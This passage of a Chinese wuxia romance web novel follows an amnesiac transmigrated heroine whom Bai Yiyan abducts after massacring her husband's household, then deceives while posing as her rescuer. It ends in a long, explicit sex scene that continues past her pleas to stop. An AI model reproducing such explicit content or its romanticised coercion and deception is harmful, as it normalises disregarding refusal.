我愕然回头,只见悦磊落的伟岸的身姿屹立在我身旁,“小心着凉。”

我双腮酡红,稍稍拉拢了斗篷的接口处,“谢谢你。”

“汐儿,我们是夫妻,所以你不用跟我这么客气。”悦眸中噙柔,含情脉脉。

这个叫‘悦’的男人生得英姿卓越,气度不凡。这样的男人好看得让女人不得不动心。我也是一个小小的女人,看到这么优秀的男子,说不动心……那绝对是假的,但是毕竟是别人家的男人,我总不能占了‘她’的身体又占了她的男人吧?

我紧锁眉心,细细思考,双眸一瞬不瞬地愣愣盯着他瞧。我是不是该告诉他,他的妻子已经死了,我只不过是一个来自异时空的一个灵魂而已。不过如果我告诉他,这个爱着他妻子的男人会不会恼羞成怒的把我当成妖怪给烧死了?──毕竟这种抢占人家身体怪力乱神的事情太不正常了。

他低下头来,大手轻柔地抚上我的后脑勺,压着我的头,把他的额头抵上我的额头,“想什么呢?”

“没有什么……”我的眸认真的盯着他瞧,“悦,如果我说我不是你的……”虽然我感觉这种叫法太亲昵了,但是他只告诉我 他叫‘悦’。

“你不是我的什么?”悦温柔低问。

“……”我摇摇头,我退缩了,实在不敢拿自己的生命冒险。

“你呀,最近总是把话说到一半。”悦宠溺地捏了捏我的鼻子。然后把他的俊脸缓缓地靠近我。

悦的唇突然堵上我的小嘴,大手从我的后脑勺移动到我的光滑的颈部,这个举动令我不适的全身起了鸡皮疙瘩。

他低哦一声,按捺不住把手插进我的衣襟里,大手罩上我的胸脯上。

我受了惊吓,惊恐地挣扎了起来,“不要……”

“悦,不可以……”我使力地推着他的胸膛。

他整个庞大的身子整个的困锁住我娇小的身子。

他双眸幽深,急促喘息,嗓音嘶哑。“汐儿,你不愿意吗?”

我双腮烫快要烧起来,“悦……你虽然是我的夫君,但是我失忆了,现在你对我来说还只是个陌生人。”

这时,风骤然起。悦的几缕长发在风中翩然飞舞。发丝飘浮间,他孤独的眼神中透露出的那股隐藏不了的深情。

“悦……”他身上散发出的孤独,让我的心不由的打了一个颤抖,深深沉沦在其中不能自拔……

“是我太心急了,我会给你时间的。”悦嗓音暗哑低喃,大手温柔地为我拉拢好衣襟。

“悦……对不起……”除了这句话,我不知道自己该说什么了。

“傻瓜,不要和我说这些生疏的话儿。”悦眉目含着笑把我揉进了他的怀抱里……

☆☆

大雪茫茫,酒壶里的酒不一会儿的功夫便变冰凉了。

白逸研静坐圆桌旁,双眸幽暗陷入沉思。

“主子,风坛来报,已经找到她的行踪。”风坛是邶廷楼收集情报的最大机构。

“她现在在哪里?!”白逸研猛地站起身来,动作太猛扯动圆桌,桌上的酒壶倏然倾倒,百年的佳酿流满了桌面滴落到了地上。白逸研却理也不理,他疾步走向阿楠。

“现在随令狐悦住在枫城的一座小宅子里。”

白逸研眉也不抬,淡淡问道,“江湖传闻他不是走水路溺水而亡了吗?”这几个月来,虽然他忙于寻找桃花,但是令狐悦死去这样的江湖大事他还是知道的。

阿楠回答道,“经风坛查证:令狐悦是假死。”

“只是他为什么要假死呢?”白逸研低眉,他冷冷勾唇,能让令狐悦扔掉那么大的基业的人本事真不小呐。──其实他心底清楚明白的很,但是他就是不想承认罢了。

“属下不知。”阿楠回答道,该知道他没有一件不知道,不知道的他不用知道。

“桃花……她是被令狐悦囚禁的吗?”白逸研握着折扇的手有些发白。

“据下面回报,说是她好像不记得以前的事了。”

“不记得以前的事?”连他也一并忘记了吗?白逸研手中的扇子在他一个失神间竟掉到了地上,“她被催眠去了记忆?”

“是。”阿楠依然躬身,恭敬回答着。

一个仆人走过去捡起了白逸研掉到地上的折扇。一个丫鬟用托盘捧来一条干净的白帛,仆人拿起白帛仔细把折扇扇身擦拭了一遍后。他走向前,躬身举高手中的折扇。白逸研心不在焉的接过了他心爱的折扇,手指漫不经心地抚摸着扇骨,再问道,“她现在和令狐悦的关系如何?”

“属下该死!这……还没有查出来。”阿楠满头大汗,这个问题要是回答不好是会引来主子的滔天怒火的,他不敢随便回答。

“废物!”白逸研紧握扇子的手猛的青筋沉浮。该死!为什么有了她的消息后,他的心反而更加浮躁了起来?

……

**

浓夜深,茫雪停。

在令狐悦所住的隐蔽院落外,赫然伫立出几排高大威猛的黑衣。

“主子,我们不直接攻进去吗?”

“不。”白逸研抬手制止,“等我把桃花掳出来然后再动手。”

“是。”虽然不知道主子为何要如此麻烦的分两次行动,又为何不让他们这些手下代劳进去掳人,但是主子有命,他们只要照做就是,不需多问。

**

众人见自家主子从令狐悦牢牢横抱着一个类似人影的被褥团子,几个起跃从的小院落里飞跃出来。便恭敬地躬身,拱手道,“主子。”

白逸研双眸扫过人群,淡淡颔首。他紧接唤道,“璨泓。”

“主子。”璨泓从黑压压的人群中走了出来,向白逸研躬身请示。

“你带着她和阿暝的一队人马先离开这里。在我还没有回来前,如果她就醒过了,那你就用轻微的迷药再次把她迷倒,记住,不可以让她看见你们任何一个人的脸。”

“是。”

此时,早就练就喜怒不露于色的众人眼中皆藏惊愕:璨泓是除嫦鄄之外,主子最得力的女下属,能力不可小觑。可是主子今儿居然还是不放心,只有她一个看护一个没有武功的女人,还叫上了阿暝这个人见人怕的地狱死神带着他的一队精锐人马去‘看护’。主子未免也太紧张过头了吧?他们很好奇那团被褥里到底是怎么样的‘人物’,居然让心性冷酷的主子做到这么一种快把他们的下巴给吓掉的举措。

耶?不过还是有点不对啊,主子若不放心璨泓的能力,大可直接叫阿暝带走‘那团被褥’啊,以阿暝的宛如魔鬼一般的身手看住一个没有武功的女人本来就是浪费了,可为什么还要叫上璨泓?还是第一个叫璨泓后,才再叫阿暝。主子这么做的目的……实在是令人摸不着头脑……

见璨泓动作粗鲁地把桃花扛到肩膀上。白逸研不禁蹙起眉头,怒喝道,“轻一点!”

璨泓一脸错愕,却也立马放轻了手脚,垂首恭敬应声道,“是。”

白逸研拧眉,为自己刚才的冲动行为感到失了颜面,为了弥补一刹的‘失言’,他快速挥手,“去吧。”

“是。”璨泓和阿暝的一大队人马几个起跃间,便在令狐悦的小院落外消失了身影。

白逸研双眸定定地凝视着他们消失的方向……

风呼啸而过,卷起苍白地面和枯树枝头的雪。

白逸研的衣袖在风中腊腊作响,长长青丝夹带着两丝长长的白色发带亦随着风,千丝万缕的漫天飞舞。

突然,他的嘴角依然浅浅勾起,幽深的眸中却透出嗜血的残忍,“杀!一个活口也不要留下……”那些碰过桃花的男人,他早就想杀掉了,只是他一只为寻找桃花而耽搁下来了。

“是。”两排站立整齐的黑衣人起身应道。

这种杀人的伙计根本就不用他亲自动手,他只要动动嘴皮子下个个命令就成。

于是,雪夜一场残忍的屠杀就此拉开了序幕……

**

“属下该死,一个不慎,被令狐悦使计逃走了。”阿楠单膝跪地请罪道。

白逸研冷眼凝视着令狐悦的小院落,森冷的眸中散发出浓烈的杀意,“他还没有出来,阿御,你带人包围小院。”

“是。”一直跟在白逸研身边的阿御领了主子的命令匆匆离去。

这时,白逸研优雅的打了个呵欠,“阿楠,带我去令狐悦刚刚逃跑的地方。”

阿楠表情一愣,“这点小事,主子何必亲自动手?”

“反正闲着也无聊,活动活动筋骨也好。”白逸研的脸上带着浅笑,整个人优雅从容的像只是在饭后散步的闲散自在……

**

令狐悦从阿楠的手中逃离后,强撑着受了伤的身子入了书房的暗室。他撕下他白袍里面的白帛内垫,咬破了手指在白帛上写下解除桃花身上催眠术的暗语。

令狐悦写好后,把白色布料叠好,再藏进了一个设计巧妙的石头机关里面。然后才放心的松了一口气。这时的他才知道原来人间有一种这样的情,就算是在生命的最后一刻里他依然还会心心念念去惦记着一个人,去为那一个人打算,去为那个人着想。

令狐悦低声喃喃道,“汐儿,这是我现在唯一能为你做的事情了。”

“你果然在这里,害我好找啊。”白逸研潇洒挺拔的身姿翩然的出现在令狐悦的面前。

“终于见到你的真面目了。”令狐悦缓缓睁开闭目养神的眼,冷冷地盯着白逸研。

“能在这么短的时间内灭了令狐满门精英,你可算是古今第一人了。”令狐悦语气中听得出失落听得出悲伤,唯独听不出恐惧。

因为他知道汐儿不会有事。只要汐儿没有事,现在就没有什么可以让他感到恐惧的事了。──虽然现在令狐悦还不知道此人的来历,但是他能肯定此人所发动的这场屠杀是因汐儿而起。

白逸研动作优雅的甩开他的宝贝扇子,月牙弯的扇面遮住了他俊逸的下半张脸,白色扇面把他那带笑的黑眸衬托的更加晶莹剔透了,“你对他们太过奖了。我还嫌他们手脚笨拙,居然让你这么个重要的大头头给逃了呢。”

“你是谁?”令狐悦淡淡问道,此刻的他,顶天立地的不屈英雄气概在此一刻绽露无疑。

白逸研姿态从容地向令狐悦走近,“我若没有看错的话你应该是将死之人了,既然是快要死的人,知道那么多也是没有用的。所以呢,你又何必知道?”

“……”令狐悦蹙眉,这人身上的气息,他感到熟悉。“我们是不是在哪里见过……”令狐悦敏锐的眯起眼,认真观察着白逸研的身姿和行路动作。

白扇……白衣……邪魅笑眸……

只一瞬,令狐悦猛然醒悟,“你是白逸研?”

恐怕连同阎晟他们也没有想到那个曾经被他们追杀到被迫交出长寿医书的‘白逸研’居然会有这么可怕的势力。──不!能在三个时辰灭了令狐满门数精英的人,应该是用‘恐怖的势力’来形容才恰当。

“不愧是令狐悦,能在这么短的时间里就看出我是谁来。”白逸研笑的极为妖媚。但他的妖媚却不是那种带有女子阴柔的妖媚,而是那种宛如仙人一般飘渺难以琢磨的妖媚。

“今日的这身相貌才是你的真实面目吧。”此时的令狐悦依然神色淡泊,神态安逸,直面面对白逸研身上散发的冷冽杀气竟还是没有表现出半点的惧怕。

白逸研的嘴角勾起玩味的笑,他嘲讽道,“你的那些所谓精兵都已经死了,你难道不知道你也即将要死了吗?”令狐悦的态度让白逸研看着不太舒服呢。

令狐悦眼神沉静,气质高贵,豪迈笑起,“能拖上害死我的人一同入地府,那么我此生也就值了。”

话音未落,令狐悦身形像一道旋风一样移向白逸研,手中的剑风簌簌发亮的往白逸研身上利落而去。

白逸研嘴角噙着一抹狂妄的笑,提气挥动手中的白扇,他身姿依然优雅,进如明月一样潇洒,退似流水一般的蹁跹。

“想跟我一同入地府,你还真不够资格呢。”他一个迅捷转身利落再挥扇,一道白色的光芒射向令狐悦。他再提气纵身,以一个飞鹰展翅的优美姿势,离开令狐悦的身旁有两米远。再冷眼看着令狐悦缓缓倒地。

“主子。”阿楠快步走到白逸研身边。

白逸研优雅转身,一手负背,一手风流摇扇,闲散地,月牙弯的扇面遮住了他俊逸的下半张脸。只露出半带笑半残忍半阴森半冰冷的双眸。“把这座院子烧掉,不要留下任何痕迹。”

“是。”阿楠低首让白逸研先走,随后才紧步跟上,在离开暗室时阿楠回头看了一眼躺在地上气息虚弱的明显像是快要断掉了的令狐悦。令狐悦这一时半刻是死不了的。主子这是想让令狐悦品尝活生生被大火烧死的滋味……

不过也是那令狐悦活该!谁要他,天下女人这么多他不去喜欢,偏偏就喜欢上主子也喜欢的那个女人(这种超强烈的占有欲应该就是喜欢吧。)他永远都记得曾经有人不小心看到了那个女人的身子(其实就只是看到她的肩膀而已。)就被主子愤怒的命人挖去了眼珠子。所以,更何况是对那个女人有着痴心妄想的令狐悦呢?……

一场大火,快速地在令狐的小院落中燃烧了起来。

火舌迅捷在木头盖的房子上飞窜,但凡被火舌窜过的地方都成了一堆黑碳。

……

天地一片火红,令狐悦缓缓闭上眼,过往的一幕幕像烟花一样绚烂的繁华景象在他的眼前重现。炽烈的火舌卷过了令狐悦的身体,滑过他的眼,舔他的唇。过往一切现在他看来不过是过眼云烟的虚幻,他心里最深的眷恋只有她曾经痴痴的凝眸、深深的爱恋。如果上苍给他一个从头再来的机会,那么他一定不会为了那本长寿医书负了汐儿的真心……

☆☆

亲们千万不要怪我,江湖上本来就是弱肉强食,‘匹夫无罪,怀璧其罪’(请一定要用最浅的字面意思来解释这成语。)。

亲若要问我白逸研大冬天怎么还会用扇子?我只能答说:因为扇子是白逸研的贴身武器。

第052章花开堪折

冬日的阳光透过白色窗纱淡淡的照射进来。

照在眼皮上的白光让我悠悠转醒,我微微蹙眉,今儿我怎么睡得这么的晚?

我缓缓爬起身来,抬眼不经意的一环视,惊讶地发现我现在不在那个才住了十几天有些陌生又有些熟悉的房间了。

这是怎么地方?我怎么睡了一觉便换了个地方?

“你醒了。”不待我细想,一个磁性中带着性感的声音从床榻左边的窗棂边传来。

我猛的转头,只见一袭白衣男子在淡淡的阳光下飘渺转身。

“你是谁?我为什么会在这儿?”我用手背在眼皮上挡了一下来源于他衣服上那既刺眼又柔和的白光。

他双眸含柔,唇角噙起一抹笑,徐徐说道,“我嘛,我只是一个丈剑江湖的游侠。你昨晚被人下药迷晕后装到一辆马车里,我从他们手上救下了你。”

被药迷晕?经他这么一提醒我才隐隐记起昨晚的确有一个黑影站在我床头,当我想尖叫唤人来的时候,那黑影向我撒了一种粉末,我便晕过去。看来悦是得罪了什么人,那人才绑架他的妻子的。

此时,他缓缓地从窗棂的阳光中走到屋里阴凉处,这时我才看清他的脸,不由深深的被震住:原来这世界上还有这么好看的人。他看似文雅俊秀,却又矛盾的透出了一股阳刚的苍劲。

我直觉反应地笑问道:“游侠?是行侠丈义的‘侠’么?”

他错愕半响,随后便潇洒挥扇,以扇遮唇,咯咯低笑。

“请问,我有说错什么话吗?”我被他笑地有些莫名其妙。

他定定凝眸瞧着我,磁性的声音中带着丝回忆带着丝眷恋,“抱歉,我失态了。只是曾经有一个人也这么问过我。”

我一愣,歪着头笑道,“也许他和我一样对丈剑江湖的游侠充满了好奇与崇拜吧。”

“你的‘好奇’,我还能理解。但是你为何会‘崇拜’?”他轻轻挑眉,唇边挂上醉人的浅笑。撩起衣袍坐落在离床榻不远处的椅子上,这架势……有那么点促膝长谈的意味。

“嗯……”我以指点着下唇,微微思索,“这个该怎么讲呢?可能我本身是一个弱者吧,希望自己有困难的时候真会有一个游侠路见不平拔刀相助。”我定义里的游侠指得是那一种有着满腔热情去帮助别人的人。

他酣然一笑,低低叹息,“你还真老实的可以呢。”

“哦?是吗?我自己倒不觉得。我只因为你是救了我的恩人,所以才对你坦诚相告的。”我回他一笑,话语里充满了对这个游侠的感激。也许是因为他的容貌太过俊秀飘逸了,所以我没有去怀疑他的话。──人常说貌由心生。试问一个长相如仙的人,怎么可能是坏人呢?

他挑挑眉,痞痞笑道,“喔。那我就谢谢你的厚待了。”

我双手捂唇,咯咯笑起,这个游侠不难相处。

“你家在哪里?等会儿我送你回去。”(白逸研说送她回家那绝对是假的,因为她落到令狐悦手中才十几天,所以她的失忆也就是这十几天之内的事情。这十几天来她压根没有走出令狐悦的那座院落,所以白逸研肯定:就算说送她回家,她也认不得路了。)

“家?”我心口一窒,满身落寞。在古代我哪里还有家呢?

“你怎么了?”他关心地问道。

我低垂着头,声音里带了些忧伤,“我没有家……”也不认识路回到悦那里去。

“喔……”他微微沉吟,“你识字吗?”

“嗯。”我点点头,我有进过悦的书房,知道这个世界的文字和前世的文字是一样的。

“你若不嫌弃的话,可以跟随着我,我正好缺一个能我整理医书的书童呢。”(白逸研垂下妖治的眸:若是没有一个合适的‘帮’她的‘等价交换’,是会引起她的怀疑的。)

“书童?”我不解地重复了一遍他的话。

他抬起水光潋滟的眸,弯起他那漂亮的唇角,“嗯,我从不养闲人的。你若不嫌弃这份差事的话,你可以试一试。”

‘从不养闲人’?他的话虽然残酷,但也真实。毕竟游侠只负责救人,可不负责救了那个人以后的生活。

我轻咬下唇,有些动心了,毕竟是靠自己的双手工作,总比依附与一个不是自己丈夫的男人强(做为弱质女流要依附也只能依附于属于我自己的丈夫。)。再说,悦一定是得罪了一个本事厉害的人(能不动声色地从悦的家里把我给迷晕了掳走,至少是比悦厉害),我可不想回去当炮灰。

“反正现在你也没有地方可去,我也缺少个书童。你考虑看看吧。”

“不用考虑了,我答应你的条件。”我抬头,坚定地面对着他。

他浅笑寻问道:“现在的你是不是对游侠充满了失望呢?”(白逸研这么问,一半是捉弄,一半是加强他这个游侠身份的真实感。毕竟游侠只负责救人,可不负责救了那个人以后的生活。)

我一愣,轻笑摇头,“没有。我觉得你这个游侠的形象很真实饱满。”

“我这个游侠的形象很真实饱满?”他挑眉,“说得像是我在唱戏似的。”

“我不是那个意思。”我连忙解释,“我的意思是你很直接,直接的很坦诚。”坦诚到直接说他不养闲人!!

他点点头,再次说道,“按照我的规矩,家仆的名字要由我重新起个。你以后就叫桃花吧。”毕竟叫她桃花叫了那么久了,为了以防以后会叫错了,露了馅,就再次给她桃花这个名字吧。

桃花?我哭丧着脸,为什么要叫桃花?这名字也太难听了。

“怎么了?你有意见吗?”他淡淡瞥了我一眼。

“啊。没有。”我连忙摆摆手,反正名字就是个称呼而已。

“那就这么定了。”他从椅子上站起身来,“明天你就开始整理医书吧。”

“嗯。”我嘴角抽搐,果然是‘从来不养闲人’。多‘养’我一天都不成……

**

时光飞逝,时间一晃就是一个多月过去了。

白逸研似笑非笑地斜倚在朱红圆柱上,漆黑的眼又些懒散地注视着早就不耐烦的我。

“天晚了,你不回去休息吗?”大晚上,他一个大男人还呆在我的房间里,这也太不像样了。

他的脸色阴郁,言简意赅道,“回去也睡不着。”

“失眠吗?”我随便问问,顺便优雅的把嘴张成个“○”形,以手挡嘴打了个呵欠。我的眼睛里噙满了浓浓的雾霭,我好困哦,好想好想睡觉去。可是‘主子’还在我房里,我不能睡觉。呜呜……

“嗯。可以这么说。”白逸研点点头。

“哦。”我没有多少热情的敷衍一声。整个人困怏怏的趴在桌子上。耶?尊贵的‘主子’的话语里好像带了股青涩的不知所措。是我因为太困听错了?还是本来就如此呢?

“你怎么不问我为什么失眠?”

‘主子’性感到令人发指的声音里带了深深的恼怒。奇怪,我有惹到他吗?

“哦。”我从善如流地点点头,懒懒地抬眼看他一眼,没有带上多少感情地问道,“那么敢问尊贵的好主子,你为什么会失眠?”

“我想你,所以失眠。”他磁性的嗓音,性感中带着温柔,温柔中带着眷恋,眷恋中带着迷茫。

我吓得身子一抖,脑袋差点从桌子上摔到地上。

啊。我的脸好烫,整个人不知所措地想找个地洞来藏一藏。

白逸研,你的‘想’来得也太快了吧,我们认识才一个月呀~

“主子,我好困哦,脑袋出现了幻听呢。该休息了。您也快回房吧。”我挥挥手,显然是对他的突然表白一点招架能力也没有。

“我好像喜欢上你了……”他温柔的就像是春风吹过。

呃?我一颗脆弱的芳心疯狂跳动,整个人不知所措的差点揪着头发狂抓了起来。主子他知道不知道他自己现在在说什么啊?“我尊贵的好主子,我知道您失眠了,所以心情很不好。但是请不要拿我来开玩笑好不好?”我表面强装镇定,内里掀起了惊涛骇浪的巨大悸动却是怎么也压不住的。

“我像是在开玩笑吗?”白逸研虽然依旧笑语温柔,但妖孽似的俊脸上却是冷峻严酷。

“主子,只要您随便的一招手就会有数不尽的女子为你而来,你、你……”我结结巴巴的说不出话来,天,天!太震憾了,白逸研居然喜欢上了我。

白逸研晶莹的黑眸定定看着我,嘴角勾起一抹优雅的浅笑,“你好像很紧张。”

“紧、紧张?我有什么可紧张的?你不要乱讲!”话一说完,我立即鄙视地对自己翻了个白眼。哎哟!我的脑袋短路了吗?这话怎么有那么点欲盖弥彰的味道?

白逸研嘴唇噙笑,很是优雅的向我走来,伫立在我的身旁弯身瞧我,以扇柄勾起我的下巴,“看你的反应…我想…你…八成也是喜欢我的,对不对?”

我闭了闭眼,懊恼的细细呻吟,“主子!我们才认识一个多月而已,这世间哪里有这么快就产生的感情?”

现实生活中的感情又不是言情小说里的。我也不是一个天仙似的美人胚子,一个优秀到我无法用语言去形容的男人,怎么可以这么快的就喜欢上了我?

我咬咬下唇,打算把真心话一股脑儿的豁出去了,反正白逸研把话都说到这个份上,我再隐瞒就显得有点做作了。

“主子您应该知道您自己很受女人的喜欢。而我自然也不可能会对这样的您不去喜欢的。……嗯…啊…那个…其实…被您喜欢的感觉很好啦。呃,就是有点飘飘然。”我顿了顿,因为下面我要说的话才是重头戏,“但是我追求的是真心的喜欢,是一辈子的喜欢,不是随便的玩玩。所以,我希望您是在了解我,到底是个怎么样的女子后再喜欢我的。”

“你……”白逸研深深着迷了,这就是最初的她吗?是最纯净的她吗?难求的真诚,难求的勇敢,“你认为我对你是一时的喜欢?是一时的玩玩?”

“呃~~”我不着痕迹地抽搐了几下嘴角,白逸研这话说的太直接了。“是的,我是这么认为的。”

“但是我要告诉你,我对你并不是一时的喜欢。”

柔和的灯光浅浅地照耀在白逸研的脸庞上,优美的勾勒出他俊美轮廓的流水线条。──我难以承受的微微颤抖着身子。只因为伫立在我眼前的这一个男子太有魅力了,我真的把持不住了。

“你是喜欢怎么样的感情呢?是细水长流的那一种吗?你喜欢我们的感情是在慢慢岁月的相处中渐渐发生出的感情来吗?”白逸研的脸离得我很近,他的呼吸轻轻地喷洒在我的脸上。

唔。好痒。我用手背不着痕迹地擦了擦被他呼吸喷痒的脸颊。

“主子……”我悸动微微张着小口,他的表白太过强悍了,哪有人这样向女孩表白的?不过这种独特的表白方式却让我心颤难止,无法抗拒。“你、你……”

白逸研温柔低呢,无奈轻叹,“如果你真得觉得太快了的话,我可以配合你的要求慢慢的来。按你的规矩、按你的喜欢慢慢的来……”

我瞪大了眼眸,一种揪心的悸动,瞬间在我的心田爆炸开来……

**

心怦怦直跳的好生厉害。我唇角露出个羞涩的笑,我想我是恋爱了。

夜色朦胧,白逸研又呆在我房间里,懒懒的久久不肯离去。

我不耐烦地一个抬头,惊心动魄的发现了白逸研的手指居然眷恋地沿着我那照在墙壁上的影子的线条轻柔抚摸着!!

“啊!”我难耐惊叫,心重重一悸,全身上下全被羞耻染成了绯红色。白逸研到底在做什么呢?他、他一个玉树临风的大男人怎么能做出如此猥亵的动作来呢?

他听到了我的叫声我的叫声,立即收回了手,转眸向我看来。

我双手捣紧小嘴,不让自己发出尖叫声,怒圆了双眸,狠狠瞪他。

他缓缓地向我走来,勾唇一笑,“真糟糕,居然被你看见了。”

“呃?”他这话是什么意思?难道他常常这么做?

哦。也太丢脸了吧。没有想到一个风度翩翩的男人也会常常做出这样的动作来。

白逸研轻轻地蹲在我的身前,抓握住我的小手,把我的小手掌心轻轻地抵在他的俊脸上,缓缓地摩擦着。“对比起。我不是存心欺负你,我真的只是情难自禁。”

我怔怔,情难自禁?

久久沉默后,他痴迷喃道,“我可以摸摸你吗?”

“你下流!”我嗔怒。

他不管不顾不气不恼地继续说道,“摸你的影子的感觉很不好。想掌握你的大概,可是总是感受的一团糟糕。弄得我的整颗心都发了痒的难受。我真的很想真实的摸摸你。你就答应我,好不好?”

我的心又是一悸。

他在干嘛?撒娇吗?可是提出这么变态的要求,要我怎么答应他嘛!!

“你不说话,那么就说明你已经答应了。”他话音一落,便伸出了大手沿着我的脸缓缓地往我光裸的脖子摸去……

我紧张地攥紧拳头,以自认为是开玩笑的口吻说道:“白逸研……你摸了我,那就要娶我哦。”

白逸研晶莹的黑眸定定地看着我,嘴角勾起好看的笑,“我早就想说要娶你了,只是怕你拒绝就忍着不敢跟你说。”他伸出手指轻磨着我的脸颊,英俊的脸孔离我越来越近,他那如蝶翼一般的眼睫毛轻轻扇动着,接着……他无限宠溺的亲上我的眼……

我的身子微微颤抖,他的手指,他的亲吻,有一股奇特的魔力让我再也无法逃脱地深深陷入。

坚韧的心房全如冬日的白雪,一经灼阳便会化为柔软的流水,灌溉了整个心田。──灼日照雪,雪是注定要融化的。

第053章攀枝折花

白逸研猛地横抱起我,丢到了床榻上。

他伟岸的身子速猛的压上了我娇软的身子,极为熟练的将我的衣服扒掉,又急急忙忙的将他自己也顺便脱了个精光。他以迅雷不及掩耳的速度俯首,嘴唇湿漉漉的亲吻上了我娇嫩的奶尖儿。

“嗯……”我害羞地闭起眼睛,轻轻吟哦出声。“白逸研,你不是说只摸摸的吗?那干嘛还脱我衣服,还用嘴亲我的乳头?”他根本就是说话不算话嘛,他不仅只想‘摸摸’这么简单吧。

这时白逸研的唇畔绽放出温柔的笑,“我想用嘴来摸。”

“你好无赖!”我委屈地瞪大雾霭迷朦的双眼,无声的指控着他的言而无信。

“我只对你无赖。”他分外满足地勾起魅惑人心笑靥,性感的嘴唇从我的奶子开始一直湿漉漉的亲吻到我的双腿之间。

“啊!白逸研,我的腿不可以再张大啦,你不要再拉了,唔!韧带被你扯得好痛!”我的大腿被白逸研以最大的距离拉了开来。

白逸研伸出手指不断上下抖动着我的阴蒂,娇嫩柔软的阴道因他的这一个动作而在细小如针孔的小穴口流出一条长长的水色淫液。

“哦……”这种被揉搓的感觉好舒服,我浑身发热,放声吟哦。身子没有一点力气的彻底瘫软在了床榻上。

“很舒服是不是?”白逸研继续一边用手指不断的揉捻着我的阴蒂,一边又把他的另一只手的手指插进我的阴道里来回滑动摩擦。他顺便优雅俯身,用唇瓣抵住我光裸的脖子温柔的吸吮了起来。

“嗯……”白逸研又把手指插进一根进我的阴道,现在有两根手指插温柔地在我湿漉漉的阴道里“唧咕,唧咕”的搅动着。垂眼的一刹,我看见他的手指已然被我的淫水染得湿漉漉、亮晶晶的在昏黄的灯光下泛着浅浅的银光。

“啊……”我翕动着小口,顿时觉得空气好稀薄。

这时他妖媚轻笑着,粗重的呼吸喷洒在我那类似的桃叶片的阴阜上,带来痒痒的难受。“白逸研,你要做什么?你起来呀……”

“不要紧张,被我嘴亲的感觉会很舒服、很快乐的。”他沙哑的嗓音该死的性感,害我的阴道里的淫水不能自主的往外喷射了一些。

“啧啧,看你激动的。”他抬头的那一刹那,我才知道我自己居然把淫水喷射到他的俊脸上了。

“啊……”我羞得无地自容。不敢相信自己的身体居然这么的淫荡,只因听了他的一句挑逗的话儿,既然把淫水射到了他的脸上去。唔……好丢脸。

“我想要你,想地快要发疯了。桃花……”倏然没有任何预警的,白逸研的身子压上来,他的肉棒快速对准我的小洞洞,健腰一个用力地向前猛挺!

“啊──”

“啵哧”一声。他胯间那硕大的性器凶猛的刺入我湿漉漉的阴道内。

“唔~~啊……”我忍受不住这般狂野的侵袭,双腿抖的好厉害。小洞洞猛烈收缩了起来,如一张饥渴已久的小嘴儿一般的拼了全力的吸收着他插进我体内的大肉棒。

当他把肉棒退出去的时候我失落的呻吟。当他把肉棒戳进的时候,我又满足的呻吟。──反正是失落也呻吟,满足也呻吟。

就这般不急不燥的抽插了一百来下后,他才开始狂猛冲刺。插得我小洞洞里面的淫水“噗嗤,噗嗤”地往外飞射。

“嗯……啊啊……”他激烈的操干,让我闭眼、仰头、汗流夹背的娇声吟哦。

啊啊。白逸研他的越干越猛,我的阴道被他的阴茎抽插的越来越酸、越来越软、也越来越水。我凹、他凸的接合口水儿疯狂的在飞射的。

我无法承受地摇晃着脑袋,惨叫连连,“啊啊……白逸研,我不行了……啊……不要了!嗯啊……我受不了了……你……别这么用力……啊啊……停、停下来……”

淫水汨汨的流,湿漉漉的打湿了我的大腿,还有大腿下面的床单。

可是无论我怎么的肯求,白逸研都没有放松对我的狠命冲刺。

“唔……”在他把阴茎猛插到底时,我的奶子总是不能自主地向上一挺。他一插,我就一挺。我与他配合的很默契,这种感觉、这种感觉就好像我与他并不是第一次做这样的事似的……

“啊……啊啊啊……我不行了……唔……唔嗯……”一波接一波的快乐侵蚀了我的脑神经。我的神智开始迷糊,我攀紧他的脖子,用力耸动自己的屁股,把阴道往他的阴茎上猛送。让他的阴茎只抽出一小段,便又深深的插进阴道里。

受到我热情的鼓舞,白逸研干的愈发激烈。淫水“噗嗤,噗嗤”地从阴道口喷涌而出(前面的还只是‘喷射’出淫水,这次的可是淫水‘喷涌’。呜呜,可见阴道已经受到了阴茎沉重的侵犯了。)。

白逸研红了双眼,他的大手牢牢地捧起我的臀,让我的屁股腾空,让我完全丧失了因为承受不住而扭动屁股反抗的可能,尽数接受他有如狂风暴雨的捅刺。

啊、啊!好舒服,好快乐。我的屁股在他的穿刺下不停的发抖。阴道里的皱肉紧紧吸附在他阴茎上,这样就迫使他每次抽出都会往阴道外扯嫩肉。

也不知道已经经历了多少高潮的我,身体早就吃不消的软绵绵的像团棉花。只能以快乐到痉挛的抽搐来回应白逸研的勇猛操干……

淫水狂涌,白逸研依然苦苦支撑的在冲刺。在一阵无比消魂的快感中,他终于忍受不住地低吼出声,大掌箍紧我的腰肢,以即将撞散我身体所有骨头的速度,用力狂捅阴道个二十来下后,便卸甲投降的射出黏稠、滚烫的浆糊状精液来……

**

滚烫的阴茎重复不止的在我的阴道里做着活塞运动。用力捅进,再快速的撤出。

“白逸研……呜呜……我不行了……你停下来好不好?”半湿的长发散乱的粘贴在我的脸颊旁边,我脸色酡红,眸光混乱,身体里流出的汗都可以拿来洗澡了。“我好累……好累……”

“再忍一忍,最后一次了。”他温柔勾唇,伸出手指撩拨掉粘贴在我羊脂白的奶子上的凌乱的青丝。

“唔……啊啊……你前一次也说是最后一次……”我不想再相信他说的话了!他怎么可以这样的乱来?操了我一次又一次。把‘一夜七次郎’这词演绎的淋漓尽致。

“相信我,我保证这是最后一次了。”他温柔低语,诚恳保证。

“唔……那你快一点……”我姑且就再信他这么一次好了。

“好。”他优雅地轻应一声,倏地扳过了我的身子,大手托着我的小腹,把我的双腿调整成‘屈膝俯跪’的状态。再用大手箍紧我的玲珑腰肢,又继续开始冲刺。

他一提一提的抓着我的屁股迎接着他向前的刺干。

“唔。唔。唔。”我半眯星眸,娇柔喘息。虽然现在很累,但是心里好满足。

这个姿势的另外一个好处就是能让白逸研的阴茎插的深入,他的每一下戳刺几乎都把我的子宫口顶得发软。

“哦……”白逸研不停地喘息,阴茎用力的惯穿我柔软的阴道,再快速地撤出。一次又一次的狂野重复的做着优美的活塞运动……

“啊啊啊……”我的两株羊脂白的奶子在白逸研的操干下,一抖一抖的荡漾着微波。那抖动的姿态优美的像是在不停跳舞的软软QQ的果冻。

白逸研着迷地伸出大手使劲地抓捏了几下。赞叹道,“你的奶子好美。”

“啊……白逸研……你下流……”

白逸研在我的脸颊旁边轻吐一口热气,含笑作弄道,“抓你几把奶就叫下流,干你的小穴又该叫什么呢?”

